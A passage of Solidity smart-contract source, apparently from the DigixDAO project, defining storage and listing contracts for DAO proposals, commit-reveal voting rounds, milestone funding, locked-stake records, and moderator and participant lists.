contract DaoWhitelistingStorage is ResolverClient, DaoConstants {
mapping (address => bool) public whitelist;
constructor(address _resolver)
public
{
require(init(CONTRACT_STORAGE_DAO_WHITELISTING, _resolver));
}
function setWhitelisted(address _contractAddress, bool _senderIsAllowedToRead)
public
{
require(sender_is(CONTRACT_DAO_WHITELISTING));
whitelist[_contractAddress] = _senderIsAllowedToRead;
}
}
contract DaoWhitelistingCommon is ResolverClient, DaoConstants {
function daoWhitelistingStorage()
internal
view
returns (DaoWhitelistingStorage _contract)
{
_contract = DaoWhitelistingStorage(get_contract(CONTRACT_STORAGE_DAO_WHITELISTING));
}
function senderIsAllowedToRead()
internal
view
returns (bool _senderIsAllowedToRead)
{
_senderIsAllowedToRead = (msg.sender == tx.origin) || daoWhitelistingStorage().whitelist(msg.sender);
}
}
library DaoStructs {
using DoublyLinkedList for DoublyLinkedList.Bytes;
using SafeMath for uint256;
bytes32 constant EMPTY_BYTES = bytes32(0x0);
struct PrlAction {
uint256 at;
bytes32 doc;
uint256 actionId;
}
struct Voting {
uint256 startTime;
mapping (bytes32 => bool) usedCommits;
mapping (address => bytes32) commits;
mapping (address => uint256) yesVotes;
mapping (address => uint256) noVotes;
bool passed;
bool claimed;
bool funded;
}
struct ProposalVersion {
bytes32 docIpfsHash;
uint256 created;
uint256 milestoneCount;
uint256 finalReward;
uint256[] milestoneFundings;
bytes32[] moreDocs;
}
struct Proposal {
bytes32 proposalId;
bytes32 currentState;
uint256 timeCreated;
DoublyLinkedList.Bytes proposalVersionDocs;
mapping (bytes32 => ProposalVersion) proposalVersions;
Voting draftVoting;
mapping (uint256 => Voting) votingRounds;
uint256 collateralStatus;
uint256 collateralAmount;
bytes32 finalVersion;
PrlAction[] prlActions;
address proposer;
address endorser;
bool isPausedOrStopped;
bool isDigix;
}
function countVotes(Voting storage _voting, address[] _allUsers)
external
view
returns (uint256 _for, uint256 _against)
{
uint256 _n = _allUsers.length;
for (uint256 i = 0; i < _n; i++) {
if (_voting.yesVotes[_allUsers[i]] > 0) {
_for = _for.add(_voting.yesVotes[_allUsers[i]]);
} else if (_voting.noVotes[_allUsers[i]] > 0) {
_against = _against.add(_voting.noVotes[_allUsers[i]]);
}
}
}
function listVotes(Voting storage _voting, address[] _allUsers, bool _vote)
external
view
returns (address[] memory _voters, uint256 _length)
{
uint256 _n = _allUsers.length;
uint256 i;
_length = 0;
_voters = new address[](_n);
if (_vote == true) {
for (i = 0; i < _n; i++) {
if (_voting.yesVotes[_allUsers[i]] > 0) {
_voters[_length] = _allUsers[i];
_length++;
}
}
} else {
for (i = 0; i < _n; i++) {
if (_voting.noVotes[_allUsers[i]] > 0) {
_voters[_length] = _allUsers[i];
_length++;
}
}
}
}
function readVote(Voting storage _voting, address _voter)
public
view
returns (bool _vote, uint256 _weight)
{
if (_voting.yesVotes[_voter] > 0) {
_weight = _voting.yesVotes[_voter];
_vote = true;
} else {
_weight = _voting.noVotes[_voter];
_vote = false;
}
}
function revealVote(
Voting storage _voting,
address _voter,
bool _vote,
uint256 _weight
)
public
{
if (_vote) {
_voting.yesVotes[_voter] = _weight;
} else {
_voting.noVotes[_voter] = _weight;
}
}
function readVersion(ProposalVersion storage _version)
public
view
returns (
bytes32 _doc,
uint256 _created,
uint256[] _milestoneFundings,
uint256 _finalReward
)
{
_doc = _version.docIpfsHash;
_created = _version.created;
_milestoneFundings = _version.milestoneFundings;
_finalReward = _version.finalReward;
}
function readProposalMilestone(Proposal storage _proposal, uint256 _milestoneIndex)
public
view
returns (uint256 _funding)
{
bytes32 _finalVersion = _proposal.finalVersion;
uint256 _milestoneCount = _proposal.proposalVersions[_finalVersion].milestoneFundings.length;
require(_milestoneIndex <= _milestoneCount);
require(_finalVersion != EMPTY_BYTES);
if (_milestoneIndex < _milestoneCount) {
_funding = _proposal.proposalVersions[_finalVersion].milestoneFundings[_milestoneIndex];
} else {
_funding = _proposal.proposalVersions[_finalVersion].finalReward;
}
}
function addProposalVersion(
Proposal storage _proposal,
bytes32 _newDoc,
uint256[] _newMilestoneFundings,
uint256 _finalReward
)
public
{
_proposal.proposalVersionDocs.append(_newDoc);
_proposal.proposalVersions[_newDoc].docIpfsHash = _newDoc;
_proposal.proposalVersions[_newDoc].created = now;
_proposal.proposalVersions[_newDoc].milestoneCount = _newMilestoneFundings.length;
_proposal.proposalVersions[_newDoc].milestoneFundings = _newMilestoneFundings;
_proposal.proposalVersions[_newDoc].finalReward = _finalReward;
}
struct SpecialProposal {
bytes32 proposalId;
uint256 timeCreated;
Voting voting;
uint256[] uintConfigs;
address[] addressConfigs;
bytes32[] bytesConfigs;
address proposer;
}
struct DaoQuarterInfo {
uint256 minimalParticipationPoint;
uint256 quarterPointScalingFactor;
uint256 reputationPointScalingFactor;
uint256 totalEffectiveDGDPreviousQuarter;
uint256 moderatorMinimalParticipationPoint;
uint256 moderatorQuarterPointScalingFactor;
uint256 moderatorReputationPointScalingFactor;
uint256 totalEffectiveModeratorDGDLastQuarter;
uint256 dgxDistributionDay;
uint256 dgxRewardsPoolLastQuarter;
uint256 sumRewardsFromBeginning;
}
struct IntermediateResults {
uint256 currentForCount;
uint256 currentAgainstCount;
uint256 currentSumOfEffectiveBalance;
address countedUntil;
}
}
contract DaoStorage is DaoWhitelistingCommon, BytesIteratorStorage {
using DoublyLinkedList for DoublyLinkedList.Bytes;
using DaoStructs for DaoStructs.Voting;
using DaoStructs for DaoStructs.Proposal;
using DaoStructs for DaoStructs.ProposalVersion;
DoublyLinkedList.Bytes allProposals;
mapping (bytes32 => DaoStructs.Proposal) proposalsById;
mapping (bytes32 => DoublyLinkedList.Bytes) proposalsByState;
constructor(address _resolver) public {
require(init(CONTRACT_STORAGE_DAO, _resolver));
}
function readProposal(bytes32 _proposalId)
public
view
returns (
bytes32 _doc,
address _proposer,
address _endorser,
bytes32 _state,
uint256 _timeCreated,
uint256 _nVersions,
bytes32 _latestVersionDoc,
bytes32 _finalVersion,
bool _pausedOrStopped,
bool _isDigixProposal
)
{
require(senderIsAllowedToRead());
DaoStructs.Proposal storage _proposal = proposalsById[_proposalId];
_doc = _proposal.proposalId;
_proposer = _proposal.proposer;
_endorser = _proposal.endorser;
_state = _proposal.currentState;
_timeCreated = _proposal.timeCreated;
_nVersions = read_total_bytesarray(_proposal.proposalVersionDocs);
_latestVersionDoc = read_last_from_bytesarray(_proposal.proposalVersionDocs);
_finalVersion = _proposal.finalVersion;
_pausedOrStopped = _proposal.isPausedOrStopped;
_isDigixProposal = _proposal.isDigix;
}
function readProposalProposer(bytes32 _proposalId)
public
view
returns (address _proposer)
{
_proposer = proposalsById[_proposalId].proposer;
}
function readTotalPrlActions(bytes32 _proposalId)
public
view
returns (uint256 _length)
{
_length = proposalsById[_proposalId].prlActions.length;
}
function readPrlAction(bytes32 _proposalId, uint256 _index)
public
view
returns (uint256 _actionId, uint256 _time, bytes32 _doc)
{
DaoStructs.PrlAction[] memory _actions = proposalsById[_proposalId].prlActions;
require(_index < _actions.length);
_actionId = _actions[_index].actionId;
_time = _actions[_index].at;
_doc = _actions[_index].doc;
}
function readProposalDraftVotingResult(bytes32 _proposalId)
public
view
returns (bool _result)
{
require(senderIsAllowedToRead());
_result = proposalsById[_proposalId].draftVoting.passed;
}
function readProposalVotingResult(bytes32 _proposalId, uint256 _index)
public
view
returns (bool _result)
{
require(senderIsAllowedToRead());
_result = proposalsById[_proposalId].votingRounds[_index].passed;
}
function readProposalDraftVotingTime(bytes32 _proposalId)
public
view
returns (uint256 _start)
{
require(senderIsAllowedToRead());
_start = proposalsById[_proposalId].draftVoting.startTime;
}
function readProposalVotingTime(bytes32 _proposalId, uint256 _index)
public
view
returns (uint256 _start)
{
require(senderIsAllowedToRead());
_start = proposalsById[_proposalId].votingRounds[_index].startTime;
}
function readDraftVotingCount(bytes32 _proposalId, address[] _allUsers)
external
view
returns (uint256 _for, uint256 _against)
{
require(senderIsAllowedToRead());
return proposalsById[_proposalId].draftVoting.countVotes(_allUsers);
}
function readVotingCount(bytes32 _proposalId, uint256 _index, address[] _allUsers)
external
view
returns (uint256 _for, uint256 _against)
{
require(senderIsAllowedToRead());
return proposalsById[_proposalId].votingRounds[_index].countVotes(_allUsers);
}
function readVotingRoundVotes(bytes32 _proposalId, uint256 _index, address[] _allUsers, bool _vote)
external
view
returns (address[] memory _voters, uint256 _length)
{
require(senderIsAllowedToRead());
return proposalsById[_proposalId].votingRounds[_index].listVotes(_allUsers, _vote);
}
function readDraftVote(bytes32 _proposalId, address _voter)
public
view
returns (bool _vote, uint256 _weight)
{
require(senderIsAllowedToRead());
return proposalsById[_proposalId].draftVoting.readVote(_voter);
}
function readComittedVote(bytes32 _proposalId, uint256 _index, address _voter)
public
view
returns (bytes32 _commitHash)
{
require(senderIsAllowedToRead());
_commitHash = proposalsById[_proposalId].votingRounds[_index].commits[_voter];
}
function readVote(bytes32 _proposalId, uint256 _index, address _voter)
public
view
returns (bool _vote, uint256 _weight)
{
require(senderIsAllowedToRead());
return proposalsById[_proposalId].votingRounds[_index].readVote(_voter);
}
function getFirstProposal()
public
view
returns (bytes32 _id)
{
_id = read_first_from_bytesarray(allProposals);
}
function getLastProposal()
public
view
returns (bytes32 _id)
{
_id = read_last_from_bytesarray(allProposals);
}
function getNextProposal(bytes32 _proposalId)
public
view
returns (bytes32 _id)
{
_id = read_next_from_bytesarray(
allProposals,
_proposalId
);
}
function getPreviousProposal(bytes32 _proposalId)
public
view
returns (bytes32 _id)
{
_id = read_previous_from_bytesarray(
allProposals,
_proposalId
);
}
function getFirstProposalInState(bytes32 _stateId)
public
view
returns (bytes32 _id)
{
require(senderIsAllowedToRead());
_id = read_first_from_bytesarray(proposalsByState[_stateId]);
}
function getLastProposalInState(bytes32 _stateId)
public
view
returns (bytes32 _id)
{
require(senderIsAllowedToRead());
_id = read_last_from_bytesarray(proposalsByState[_stateId]);
}
function getNextProposalInState(bytes32 _stateId, bytes32 _proposalId)
public
view
returns (bytes32 _id)
{
require(senderIsAllowedToRead());
_id = read_next_from_bytesarray(
proposalsByState[_stateId],
_proposalId
);
}
function getPreviousProposalInState(bytes32 _stateId, bytes32 _proposalId)
public
view
returns (bytes32 _id)
{
require(senderIsAllowedToRead());
_id = read_previous_from_bytesarray(
proposalsByState[_stateId],
_proposalId
);
}
function readProposalVersion(bytes32 _proposalId, bytes32 _version)
public
view
returns (
bytes32 _doc,
uint256 _created,
uint256[] _milestoneFundings,
uint256 _finalReward
)
{
return proposalsById[_proposalId].proposalVersions[_version].readVersion();
}
function readProposalFunding(bytes32 _proposalId)
public
view
returns (uint256[] memory _fundings, uint256 _finalReward)
{
require(senderIsAllowedToRead());
bytes32 _finalVersion = proposalsById[_proposalId].finalVersion;
require(_finalVersion != EMPTY_BYTES);
_fundings = proposalsById[_proposalId].proposalVersions[_finalVersion].milestoneFundings;
_finalReward = proposalsById[_proposalId].proposalVersions[_finalVersion].finalReward;
}
function readProposalMilestone(bytes32 _proposalId, uint256 _index)
public
view
returns (uint256 _funding)
{
require(senderIsAllowedToRead());
_funding = proposalsById[_proposalId].readProposalMilestone(_index);
}
function getFirstProposalVersion(bytes32 _proposalId)
public
view
returns (bytes32 _version)
{
DaoStructs.Proposal storage _proposal = proposalsById[_proposalId];
_version = read_first_from_bytesarray(_proposal.proposalVersionDocs);
}
function getLastProposalVersion(bytes32 _proposalId)
public
view
returns (bytes32 _version)
{
DaoStructs.Proposal storage _proposal = proposalsById[_proposalId];
_version = read_last_from_bytesarray(_proposal.proposalVersionDocs);
}
function getNextProposalVersion(bytes32 _proposalId, bytes32 _version)
public
view
returns (bytes32 _nextVersion)
{
DaoStructs.Proposal storage _proposal = proposalsById[_proposalId];
_nextVersion = read_next_from_bytesarray(
_proposal.proposalVersionDocs,
_version
);
}
function getPreviousProposalVersion(bytes32 _proposalId, bytes32 _version)
public
view
returns (bytes32 _previousVersion)
{
DaoStructs.Proposal storage _proposal = proposalsById[_proposalId];
_previousVersion = read_previous_from_bytesarray(
_proposal.proposalVersionDocs,
_version
);
}
function isDraftClaimed(bytes32 _proposalId)
public
view
returns (bool _claimed)
{
_claimed = proposalsById[_proposalId].draftVoting.claimed;
}
function isClaimed(bytes32 _proposalId, uint256 _index)
public
view
returns (bool _claimed)
{
_claimed = proposalsById[_proposalId].votingRounds[_index].claimed;
}
function readProposalCollateralStatus(bytes32 _proposalId)
public
view
returns (uint256 _status)
{
require(senderIsAllowedToRead());
_status = proposalsById[_proposalId].collateralStatus;
}
function readProposalCollateralAmount(bytes32 _proposalId)
public
view
returns (uint256 _amount)
{
_amount = proposalsById[_proposalId].collateralAmount;
}
function readProposalDocs(bytes32 _proposalId)
public
view
returns (bytes32[] _moreDocs)
{
bytes32 _finalVersion = proposalsById[_proposalId].finalVersion;
require(_finalVersion != EMPTY_BYTES);
_moreDocs = proposalsById[_proposalId].proposalVersions[_finalVersion].moreDocs;
}
function readIfMilestoneFunded(bytes32 _proposalId, uint256 _milestoneId)
public
view
returns (bool _funded)
{
require(senderIsAllowedToRead());
_funded = proposalsById[_proposalId].votingRounds[_milestoneId].funded;
}
function addProposal(
bytes32 _doc,
address _proposer,
uint256[] _milestoneFundings,
uint256 _finalReward,
bool _isFounder
)
external
{
require(sender_is(CONTRACT_DAO));
require(
(proposalsById[_doc].proposalId == EMPTY_BYTES) &&
(_doc != EMPTY_BYTES)
);
allProposals.append(_doc);
proposalsByState[PROPOSAL_STATE_PREPROPOSAL].append(_doc);
proposalsById[_doc].proposalId = _doc;
proposalsById[_doc].proposer = _proposer;
proposalsById[_doc].currentState = PROPOSAL_STATE_PREPROPOSAL;
proposalsById[_doc].timeCreated = now;
proposalsById[_doc].isDigix = _isFounder;
proposalsById[_doc].addProposalVersion(_doc, _milestoneFundings, _finalReward);
}
function editProposal(
bytes32 _proposalId,
bytes32 _newDoc,
uint256[] _newMilestoneFundings,
uint256 _finalReward
)
external
{
require(sender_is(CONTRACT_DAO));
proposalsById[_proposalId].addProposalVersion(_newDoc, _newMilestoneFundings, _finalReward);
}
function changeFundings(bytes32 _proposalId, uint256[] _newMilestoneFundings, uint256 _finalReward)
external
{
require(sender_is(CONTRACT_DAO));
bytes32 _finalVersion = proposalsById[_proposalId].finalVersion;
require(_finalVersion != EMPTY_BYTES);
proposalsById[_proposalId].proposalVersions[_finalVersion].milestoneFundings = _newMilestoneFundings;
proposalsById[_proposalId].proposalVersions[_finalVersion].finalReward = _finalReward;
}
function addProposalDoc(bytes32 _proposalId, bytes32 _newDoc)
public
{
require(sender_is(CONTRACT_DAO));
bytes32 _finalVersion = proposalsById[_proposalId].finalVersion;
require(_finalVersion != EMPTY_BYTES);
proposalsById[_proposalId].proposalVersions[_finalVersion].moreDocs.push(_newDoc);
}
function finalizeProposal(bytes32 _proposalId)
public
{
require(sender_is(CONTRACT_DAO));
proposalsById[_proposalId].finalVersion = getLastProposalVersion(_proposalId);
}
function updateProposalEndorse(
bytes32 _proposalId,
address _endorser
)
public
{
require(sender_is(CONTRACT_DAO));
DaoStructs.Proposal storage _proposal = proposalsById[_proposalId];
_proposal.endorser = _endorser;
_proposal.currentState = PROPOSAL_STATE_DRAFT;
proposalsByState[PROPOSAL_STATE_PREPROPOSAL].remove_item(_proposalId);
proposalsByState[PROPOSAL_STATE_DRAFT].append(_proposalId);
}
function setProposalDraftPass(bytes32 _proposalId, bool _result)
public
{
require(sender_is(CONTRACT_DAO_VOTING_CLAIMS));
proposalsById[_proposalId].draftVoting.passed = _result;
if (_result) {
proposalsByState[PROPOSAL_STATE_DRAFT].remove_item(_proposalId);
proposalsByState[PROPOSAL_STATE_MODERATED].append(_proposalId);
proposalsById[_proposalId].currentState = PROPOSAL_STATE_MODERATED;
} else {
closeProposalInternal(_proposalId);
}
}
function setProposalPass(bytes32 _proposalId, uint256 _index, bool _result)
public
{
require(sender_is(CONTRACT_DAO_VOTING_CLAIMS));
if (!_result) {
closeProposalInternal(_proposalId);
} else if (_index == 0) {
proposalsByState[PROPOSAL_STATE_MODERATED].remove_item(_proposalId);
proposalsByState[PROPOSAL_STATE_ONGOING].append(_proposalId);
proposalsById[_proposalId].currentState = PROPOSAL_STATE_ONGOING;
}
proposalsById[_proposalId].votingRounds[_index].passed = _result;
}
function setProposalDraftVotingTime(
bytes32 _proposalId,
uint256 _time
)
public
{
require(sender_is(CONTRACT_DAO));
proposalsById[_proposalId].draftVoting.startTime = _time;
}
function setProposalVotingTime(
bytes32 _proposalId,
uint256 _index,
uint256 _time
)
public
{
require(sender_is_from([CONTRACT_DAO, CONTRACT_DAO_VOTING_CLAIMS, EMPTY_BYTES]));
proposalsById[_proposalId].votingRounds[_index].startTime = _time;
}
function setDraftVotingClaim(bytes32 _proposalId, bool _claimed)
public
{
require(sender_is(CONTRACT_DAO_VOTING_CLAIMS));
proposalsById[_proposalId].draftVoting.claimed = _claimed;
}
function setVotingClaim(bytes32 _proposalId, uint256 _index, bool _claimed)
public
{
require(sender_is(CONTRACT_DAO_VOTING_CLAIMS));
proposalsById[_proposalId].votingRounds[_index].claimed = _claimed;
}
function setProposalCollateralStatus(bytes32 _proposalId, uint256 _status)
public
{
require(sender_is_from([CONTRACT_DAO_VOTING_CLAIMS, CONTRACT_DAO_FUNDING_MANAGER, CONTRACT_DAO]));
proposalsById[_proposalId].collateralStatus = _status;
}
function setProposalCollateralAmount(bytes32 _proposalId, uint256 _amount)
public
{
require(sender_is(CONTRACT_DAO));
proposalsById[_proposalId].collateralAmount = _amount;
}
function updateProposalPRL(
bytes32 _proposalId,
uint256 _action,
bytes32 _doc,
uint256 _time
)
public
{
require(sender_is(CONTRACT_DAO));
require(proposalsById[_proposalId].currentState != PROPOSAL_STATE_CLOSED);
DaoStructs.PrlAction memory prlAction;
prlAction.at = _time;
prlAction.doc = _doc;
prlAction.actionId = _action;
proposalsById[_proposalId].prlActions.push(prlAction);
if (_action == PRL_ACTION_PAUSE) {
proposalsById[_proposalId].isPausedOrStopped = true;
} else if (_action == PRL_ACTION_UNPAUSE) {
proposalsById[_proposalId].isPausedOrStopped = false;
} else {
proposalsById[_proposalId].isPausedOrStopped = true;
closeProposalInternal(_proposalId);
}
}
function closeProposalInternal(bytes32 _proposalId)
internal
{
bytes32 _currentState = proposalsById[_proposalId].currentState;
proposalsByState[_currentState].remove_item(_proposalId);
proposalsByState[PROPOSAL_STATE_CLOSED].append(_proposalId);
proposalsById[_proposalId].currentState = PROPOSAL_STATE_CLOSED;
}
function addDraftVote(
bytes32 _proposalId,
address _voter,
bool _vote,
uint256 _weight
)
public
{
require(sender_is(CONTRACT_DAO_VOTING));
DaoStructs.Proposal storage _proposal = proposalsById[_proposalId];
if (_vote) {
_proposal.draftVoting.yesVotes[_voter] = _weight;
if (_proposal.draftVoting.noVotes[_voter] > 0) {
_proposal.draftVoting.noVotes[_voter] = 0;
}
} else {
_proposal.draftVoting.noVotes[_voter] = _weight;
if (_proposal.draftVoting.yesVotes[_voter] > 0) {
_proposal.draftVoting.yesVotes[_voter] = 0;
}
}
}
function commitVote(
bytes32 _proposalId,
bytes32 _hash,
address _voter,
uint256 _index
)
public
{
require(sender_is(CONTRACT_DAO_VOTING));
proposalsById[_proposalId].votingRounds[_index].commits[_voter] = _hash;
}
function revealVote(
bytes32 _proposalId,
address _voter,
bool _vote,
uint256 _weight,
uint256 _index
)
public
{
require(sender_is(CONTRACT_DAO_VOTING));
proposalsById[_proposalId].votingRounds[_index].revealVote(_voter, _vote, _weight);
}
function closeProposal(bytes32 _proposalId)
public
{
require(sender_is(CONTRACT_DAO));
closeProposalInternal(_proposalId);
}
function archiveProposal(bytes32 _proposalId)
public
{
require(sender_is(CONTRACT_DAO_VOTING_CLAIMS));
bytes32 _currentState = proposalsById[_proposalId].currentState;
proposalsByState[_currentState].remove_item(_proposalId);
proposalsByState[PROPOSAL_STATE_ARCHIVED].append(_proposalId);
proposalsById[_proposalId].currentState = PROPOSAL_STATE_ARCHIVED;
}
function setMilestoneFunded(bytes32 _proposalId, uint256 _milestoneId)
public
{
require(sender_is(CONTRACT_DAO_FUNDING_MANAGER));
proposalsById[_proposalId].votingRounds[_milestoneId].funded = true;
}
}
contract AddressIteratorStorage {
using DoublyLinkedList for DoublyLinkedList.Address;
function read_first_from_addresses(DoublyLinkedList.Address storage _list)
internal
constant
returns (address _item)
{
_item = _list.start_item();
}
function read_last_from_addresses(DoublyLinkedList.Address storage _list)
internal
constant
returns (address _item)
{
_item = _list.end_item();
}
function read_next_from_addresses(DoublyLinkedList.Address storage _list, address _current_item)
internal
constant
returns (address _item)
{
_item = _list.next_item(_current_item);
}
function read_previous_from_addresses(DoublyLinkedList.Address storage _list, address _current_item)
internal
constant
returns (address _item)
{
_item = _list.previous_item(_current_item);
}
function read_total_addresses(DoublyLinkedList.Address storage _list)
internal
constant
returns (uint256 _count)
{
_count = _list.total();
}
}
contract DaoStakeStorage is ResolverClient, DaoConstants, AddressIteratorStorage {
using DoublyLinkedList for DoublyLinkedList.Address;
mapping (address => uint256) public lockedDGDStake;
mapping (address => uint256) public actualLockedDGD;
uint256 public totalLockedDGDStake;
uint256 public totalModeratorLockedDGDStake;
DoublyLinkedList.Address allParticipants;
DoublyLinkedList.Address allModerators;
mapping (address => bool) public redeemedBadge;
mapping (address => bool) public carbonVoteBonusClaimed;
constructor(address _resolver) public {
require(init(CONTRACT_STORAGE_DAO_STAKE, _resolver));
}
function redeemBadge(address _user)
public
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
redeemedBadge[_user] = true;
}
function setCarbonVoteBonusClaimed(address _user)
public
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
carbonVoteBonusClaimed[_user] = true;
}
function updateTotalLockedDGDStake(uint256 _totalLockedDGDStake)
public
{
require(sender_is_from([CONTRACT_DAO_STAKE_LOCKING, CONTRACT_DAO_REWARDS_MANAGER, EMPTY_BYTES]));
totalLockedDGDStake = _totalLockedDGDStake;
}
function updateTotalModeratorLockedDGDs(uint256 _totalLockedDGDStake)
public
{
require(sender_is_from([CONTRACT_DAO_STAKE_LOCKING, CONTRACT_DAO_REWARDS_MANAGER, EMPTY_BYTES]));
totalModeratorLockedDGDStake = _totalLockedDGDStake;
}
function updateUserDGDStake(address _user, uint256 _actualLockedDGD, uint256 _lockedDGDStake)
public
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
actualLockedDGD[_user] = _actualLockedDGD;
lockedDGDStake[_user] = _lockedDGDStake;
}
function readUserDGDStake(address _user)
public
view
returns (
uint256 _actualLockedDGD,
uint256 _lockedDGDStake
)
{
_actualLockedDGD = actualLockedDGD[_user];
_lockedDGDStake = lockedDGDStake[_user];
}
function addToParticipantList(address _user)
public
returns (bool _success)
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
_success = allParticipants.append(_user);
}
function removeFromParticipantList(address _user)
public
returns (bool _success)
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
_success = allParticipants.remove_item(_user);
}
function addToModeratorList(address _user)
public
returns (bool _success)
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
_success = allModerators.append(_user);
}
function removeFromModeratorList(address _user)
public
returns (bool _success)
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
_success = allModerators.remove_item(_user);
}
function isInParticipantList(address _user)
public
view
returns (bool _is)
{
_is = allParticipants.find(_user) != 0;
}
function isInModeratorsList(address _user)
public
view
returns (bool _is)
{
_is = allModerators.find(_user) != 0;
}
function readFirstModerator()
public
view
returns (address _item)
{
_item = read_first_from_addresses(allModerators);
}
function readLastModerator()
public
view
returns (address _item)
{
_item = read_last_from_addresses(allModerators);
}
function readNextModerator(address _current_item)
public
view
returns (address _item)
{
_item = read_next_from_addresses(allModerators, _current_item);
}
function readPreviousModerator(address _current_item)
public
view
returns (address _item)
{
_item = read_previous_from_addresses(allModerators, _current_item);
}
function readTotalModerators()
public
view
returns (uint256 _total_count)
{
_total_count = read_total_addresses(allModerators);
}
function readFirstParticipant()
public
view
returns (address _item)
{
_item = read_first_from_addresses(allParticipants);
}
function readLastParticipant()
public
view
returns (address _item)
{
_item = read_last_from_addresses(allParticipants);
}
function readNextParticipant(address _current_item)
public
view
returns (address _item)
{
_item = read_next_from_addresses(allParticipants, _current_item);
}
function readPreviousParticipant(address _current_item)
public
view
returns (address _item)
{
_item = read_previous_from_addresses(allParticipants, _current_item);
}
function readTotalParticipant()
public
view
returns (uint256 _total_count)
{
_total_count = read_total_addresses(allParticipants);
}
}
contract DaoListingService is
AddressIteratorInteractive,
BytesIteratorInteractive,
IndexedBytesIteratorInteractive,
DaoWhitelistingCommon
{
constructor(address _resolver) public {
require(init(CONTRACT_SERVICE_DAO_LISTING, _resolver));
}
function daoStakeStorage()
internal
view
returns (DaoStakeStorage _contract)
{
_contract = DaoStakeStorage(get_contract(CONTRACT_STORAGE_DAO_STAKE));
}
function daoStorage()
internal
view
returns (DaoStorage _contract)
{
_contract = DaoStorage(get_contract(CONTRACT_STORAGE_DAO));
}
function listModerators(uint256 _count, bool _from_start)
public
view
returns (address[] _moderators)
{
_moderators = list_addresses(
_count,
daoStakeStorage().readFirstModerator,
daoStakeStorage().readLastModerator,
daoStakeStorage().readNextModerator,
daoStakeStorage().readPreviousModerator,
_from_start
);
}
function listModeratorsFrom(
address _currentModerator,
uint256 _count,
bool _from_start
)
public
view
returns (address[] _moderators)
{
_moderators = list_addresses_from(
_currentModerator,
_count,
daoStakeStorage().readFirstModerator,
daoStakeStorage().readLastModerator,
daoStakeStorage().readNextModerator,
daoStakeStorage().readPreviousModerator,
_from_start
);
}
function listParticipants(uint256 _count, bool _from_start)
public
view
returns (address[] _participants)
{
_participants = list_addresses(
_count,
daoStakeStorage().readFirstParticipant,
daoStakeStorage().readLastParticipant,
daoStakeStorage().readNextParticipant,
daoStakeStorage().readPreviousParticipant,
_from_start
);
}
function listParticipantsFrom(
address _currentParticipant,
uint256 _count,
bool _from_start
)
public
view
returns (address[] _participants)
{
_participants = list_addresses_from(
_currentParticipant,
_count,
daoStakeStorage().readFirstParticipant,
daoStakeStorage().readLastParticipant,
daoStakeStorage().readNextParticipant,
daoStakeStorage().readPreviousParticipant,
_from_start
);
}
function listProposals(
uint256 _count,
bool _from_start
)
public
view
returns (bytes32[] _proposals)
{
_proposals = list_bytesarray(
_count,
daoStorage().getFirstProposal,
daoStorage().getLastProposal,
daoStorage().getNextProposal,
daoStorage().getPreviousProposal,
_from_start
);
}
function listProposalsFrom(
bytes32 _currentProposal,
uint256 _count,
bool _from_start
)
public
view
returns (bytes32[] _proposals)
{
_proposals = list_bytesarray_from(
_currentProposal,
_count,
daoStorage().getFirstProposal,
daoStorage().getLastProposal,
daoStorage().getNextProposal,
daoStorage().getPreviousProposal,
_from_start
);
}
function listProposalsInState(
bytes32 _stateId,
uint256 _count,
bool _from_start
)
public
view
returns (bytes32[] _proposals)
{
require(senderIsAllowedToRead());
_proposals = list_indexed_bytesarray(
_stateId,
_count,
daoStorage().getFirstProposalInState,
daoStorage().getLastProposalInState,
daoStorage().getNextProposalInState,
daoStorage().getPreviousProposalInState,
_from_start
);
}
function listProposalsInStateFrom(
bytes32 _stateId,
bytes32 _currentProposal,
uint256 _count,
bool _from_start
)
public
view
returns (bytes32[] _proposals)
{
require(senderIsAllowedToRead());
_proposals = list_indexed_bytesarray_from(
_stateId,
_currentProposal,
_count,
daoStorage().getFirstProposalInState,
daoStorage().getLastProposalInState,
daoStorage().getNextProposalInState,
daoStorage().getPreviousProposalInState,
_from_start
);
}
function listProposalVersions(
bytes32 _proposalId,
uint256 _count,
bool _from_start
)
public
view
returns (bytes32[] _versions)
{
_versions = list_indexed_bytesarray(
_proposalId,
_count,
daoStorage().getFirstProposalVersion,
daoStorage().getLastProposalVersion,
daoStorage().getNextProposalVersion,
daoStorage().getPreviousProposalVersion,
_from_start
);
}
function listProposalVersionsFrom(
bytes32 _proposalId,
bytes32 _currentVersion,
uint256 _count,
bool _from_start
)
public
view
returns (bytes32[] _versions)
{
_versions = list_indexed_bytesarray_from(
_proposalId,
_currentVersion,
_count,
daoStorage().getFirstProposalVersion,
daoStorage().getLastProposalVersion,
daoStorage().getNextProposalVersion,
daoStorage().getPreviousProposalVersion,
_from_start
);
}
}
contract IndexedAddressIteratorStorage {
using DoublyLinkedList for DoublyLinkedList.IndexedAddress;
function read_first_from_indexed_addresses(DoublyLinkedList.IndexedAddress storage _list, bytes32 _collection_index)
internal
constant
returns (address _item)
{
_item = _list.start_item(_collection_index);
}
function read_last_from_indexed_addresses(DoublyLinkedList.IndexedAddress storage _list, bytes32 _collection_index)
internal
constant
returns (address _item)
{
_item = _list.end_item(_collection_index);
}
function read_next_from_indexed_addresses(DoublyLinkedList.IndexedAddress storage _list, bytes32 _collection_index, address _current_item)
internal
constant
returns (address _item)
{
_item = _list.next_item(_collection_index, _current_item);
}
function read_previous_from_indexed_addresses(DoublyLinkedList.IndexedAddress storage _list, bytes32 _collection_index, address _current_item)
internal
constant
returns (address _item)
{
_item = _list.previous_item(_collection_index, _current_item);
}
function read_total_indexed_addresses(DoublyLinkedList.IndexedAddress storage _list, bytes32 _collection_index)
internal
constant
returns (uint256 _count)
{
_count = _list.total(_collection_index);
}
}
contract UintIteratorStorage {
using DoublyLinkedList for DoublyLinkedList.Uint;
function read_first_from_uints(DoublyLinkedList.Uint storage _list)
internal
constant
returns (uint256 _item)
{
_item = _list.start_item();
}
function read_last_from_uints(DoublyLinkedList.Uint storage _list)
internal
constant
returns (uint256 _item)
{
_item = _list.end_item();
}
function read_next_from_uints(DoublyLinkedList.Uint storage _list, uint256 _current_item)
internal
constant
returns (uint256 _item)
{
_item = _list.next_item(_current_item);
}
